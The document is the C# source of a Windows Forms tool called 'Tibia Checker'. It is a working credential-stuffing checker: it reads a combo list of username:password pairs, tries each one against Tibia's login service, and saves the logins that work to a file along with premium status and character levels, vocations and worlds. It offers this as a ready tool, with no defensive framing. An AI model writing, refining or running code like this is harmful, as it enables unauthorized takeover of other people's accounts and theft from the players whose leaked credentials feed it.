Tibia Checker

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.IO;
using System.Net;
using System.Net.Http;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using Newtonsoft.Json.Linq;

namespace TibiaChecker
{
    public partial class Form1 : Form
    {
        public static string[] ComboFile;

        public static JToken CharactersJson;
        private readonly AbortableBackgroundWorker backgroundWorker = new AbortableBackgroundWorker();

        public List<JToken> CharList = new List<JToken>();

        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            var openFileDialog1 = new OpenFileDialog();
            openFileDialog1.Filter = "Text Files (.txt)|*.txt";
            openFileDialog1.FilterIndex = 1;
            if (openFileDialog1.ShowDialog() == DialogResult.OK)
            {
                textBox1.Text = openFileDialog1.FileName;
                using (var tr = new StreamReader(openFileDialog1.FileName))
                {
                    ComboFile = File.ReadAllLines(openFileDialog1.FileName);
                }
            }
        }

        public static Tuple<bool, string> CheckLogin(string login, string password)
        {
            var httpWebRequest = (HttpWebRequest) WebRequest.Create("https://secure.tibia.com/services/login.php");
            httpWebRequest.ContentType = "application/json";
            httpWebRequest.Method = "POST";
            httpWebRequest.UserAgent = "Mozilla/5.0";
            httpWebRequest.ServicePoint.Expect100Continue = false;
            httpWebRequest.Headers["Content-Disposition"] = "form-data; name=\"metadata\"";

            using (var streamWriter = new StreamWriter(httpWebRequest.GetRequestStream()))
            {
                var json = "{\"accountname\":\"" + login + "\"," +
                           "\"password\":\"" + password + "\"," +
                           "\"staylogged\":\"true\"," +
                           "\"type\":\"login\"}";

                streamWriter.Write(json);
                streamWriter.Flush();
                streamWriter.Close();
            }

            var httpResponse = (HttpWebResponse) httpWebRequest.GetResponse();
            using (var streamReader = new StreamReader(httpResponse.GetResponseStream()))
            {
                var result = streamReader.ReadToEnd();
                if (!result.Contains("sessionkey") || result.Contains("Account name or password is not correct.") ||
                    result.Contains("30 minutes"))
                    return new Tuple<bool, string>(false, result);
                return new Tuple<bool, string>(true, result);
            }
        }

        public static DateTime UnixTimeStampToDateTime(double unixTimeStamp)
        {
            // Unix timestamp is seconds past epoch
            var dtDateTime = new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc);
            dtDateTime = dtDateTime.AddSeconds(unixTimeStamp).ToLocalTime();
            return dtDateTime;
        }

        private void button2_Click(object sender, EventArgs e)
        {
            backgroundWorker.WorkerReportsProgress = true;
            backgroundWorker.DoWork += backgroundWorker1_DoWork;
            backgroundWorker.ProgressChanged += backgroundWorker1_ProgressChanged;
            if (!backgroundWorker.IsBusy)
                backgroundWorker.RunWorkerAsync();
        }

        private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
        {
            var i = 0;
            if (ComboFile != null)
                foreach (var combo in ComboFile)
                {
                    backgroundWorker.ReportProgress(++i);
                    var splittedcombo = combo.Split(':');
                    var login = CheckLogin(splittedcombo[0], splittedcombo[1]);
                    if (login.Item1)
                    {
                        var parse = JObject.Parse(login.Item2);
                        var lastlogintime = parse["session"]["lastlogintime"];
                        var lastlogintonormaltime =
                            UnixTimeStampToDateTime(Convert.ToDouble(lastlogintime.ToString())).ToLocalTime().ToString();
                        var ispremium = parse["session"]["ispremium"];
                        var premiumuntil = parse["session"]["premiumuntil"];
                        var premiumuntilnormaltime =
                            UnixTimeStampToDateTime(Convert.ToDouble(premiumuntil.ToString())).ToLocalTime().ToString();
                        var characters = parse["playdata"]["characters"];
                        var Charinfo = new List<string>();
                        var jtokenwriter = new JTokenWriter();
                        jtokenwriter.WriteStartObject();
                        jtokenwriter.WritePropertyName(splittedcombo[0]);
                        jtokenwriter.WriteStartObject();
                        if (characters != null)
                            foreach (var character in characters)
                            {
                                Thread.Sleep(1000);
                                JToken parseapi = null;
                                try
                                {
                                    parseapi = GetInfoAPI(character["name"].ToString()).Result;
                                }
                                catch (AggregateException hehe)
                                {
                                    MessageBox.Show(hehe.StackTrace);
                                }
                                var name = parseapi["name"].ToString();
                                var level = parseapi["level"].ToString();
                                var vocation = parseapi["vocation"].ToString();
                                var world = parseapi["world"].ToString();
                                jtokenwriter.WritePropertyName(name);
                                jtokenwriter.WriteStartObject();
                                jtokenwriter.WritePropertyName("charname");
                                jtokenwriter.WriteValue(name);
                                jtokenwriter.WritePropertyName("level");
                                jtokenwriter.WriteValue(level);
                                jtokenwriter.WritePropertyName("vocation");
                                jtokenwriter.WriteValue(vocation);
                                jtokenwriter.WritePropertyName("world");
                                jtokenwriter.WriteValue(world);
                                jtokenwriter.WriteEndObject();
                                Charinfo.Add("Char Name:" + name + " | Level:" + level + " | Vocation:" + vocation +
                                             " | World: " + world);
                            }
                        jtokenwriter.WriteEndObject();
                        jtokenwriter.WriteEndObject();
                        CharactersJson = (JObject) jtokenwriter.Token;
                        CharList.Add(CharactersJson);

                        using (var writer = File.AppendText("Contas.txt"))
                        {
                            if (ispremium.ToString() == "True")
                            {
                                string[] row =
                                {
                                    splittedcombo[0], splittedcombo[1], ispremium.ToString(),
                                    lastlogintonormaltime, premiumuntilnormaltime
                                };
                                var item = new ListViewItem(row);
                                listView1.Items.Add(item);
                                writer.Write("---------- ACCOUNT " + combo + "| Last login: " + lastlogintonormaltime +
                                             "| Premium: " + ispremium + "| Premium until: " + premiumuntilnormaltime +
                                             " ----------" + Environment.NewLine);
                            }
                            else
                            {
                                string[] row =
                                {
                                    splittedcombo[0], splittedcombo[1], ispremium.ToString(),
                                    lastlogintonormaltime
                                };
                                var item = new ListViewItem(row);
                                if (listView1.InvokeRequired)
                                    listView1.Invoke(new MethodInvoker(delegate { listView1.Items.Add(item); }));
                                else
                                    listView1.Items.Add(item);

                                writer.Write(Environment.NewLine + "---------- ACCOUNT " + combo + "- Last login: " +
                                             lastlogintonormaltime + " Premium: " + ispremium + " ----------" +
                                             Environment.NewLine);
                            }

                            foreach (var chars in Charinfo)
                                writer.Write(chars + Environment.NewLine);
                            Charinfo.Clear();
                        }
                    }
                }
        }

        private void backgroundWorker1_ProgressChanged(object sender,
            ProgressChangedEventArgs e)
        {
            // Change the value of the ProgressBar to the BackgroundWorker progress.
            progressBar1.Value = e.ProgressPercentage;
            progressBar1.Maximum = ComboFile.Length;
        }

        public async Task<JObject> GetInfoAPI(string name)
        {
            using (var client = new HttpClient())
            {
                var jsonString =
                    await
                        client.GetStringAsync("http://94.177.233.238/tibiaapi.php?charname=" + name)
                            .ConfigureAwait(false);
                return JObject.Parse(jsonString);
            }
        }

        private void button3_Click(object sender, EventArgs e)
        {
            if (backgroundWorker.IsBusy)
            {
                backgroundWorker.Abort();
                backgroundWorker.Dispose();
            }
        }

        private void listView1_DoubleClick(object sender, EventArgs e)
        {
            var settingsForm = new ShowCharsForm();
            var clickedname = listView1.SelectedItems[0].SubItems[0].Text;


            foreach (var character in CharList)
                if (character.ToString().Contains(clickedname))
                {
                    var array = JObject.Parse(character[clickedname].ToString());

                    foreach (var pair in array)
                    {
                        string[] row =
                        {
                            array[pair.Key]["charname"].ToString(),
                            array[pair.Key]["level"].ToString(),
                            array[pair.Key]["vocation"].ToString(),
                            array[pair.Key]["world"].ToString()
                        };
                        var item = new ListViewItem(row);
                        settingsForm.listView1.Items.Add(item);
                    }
                }

            settingsForm.Show();
        }


        public class AbortableBackgroundWorker : BackgroundWorker
        {
            private Thread workerThread;

            protected override void OnDoWork(DoWorkEventArgs e)
            {
                workerThread = Thread.CurrentThread;

                try
                {
                    base.OnDoWork(e);
                }
                catch (ThreadAbortException)
                {
                    e.Cancel = true; //We must set Cancel property to true!
                    Thread.ResetAbort(); //Prevents ThreadAbortException propagation
                }
            }

            public void Abort()
            {
                if (workerThread != null)
                {
                    workerThread.Abort();
                    workerThread = null;
                }
            }
        }

        private void listView1_ColumnWidthChanging(object sender, ColumnWidthChangingEventArgs e)
        {
            e.Cancel = true;
            e.NewWidth = listView1.Columns[e.ColumnIndex].Width;
        }
    }
}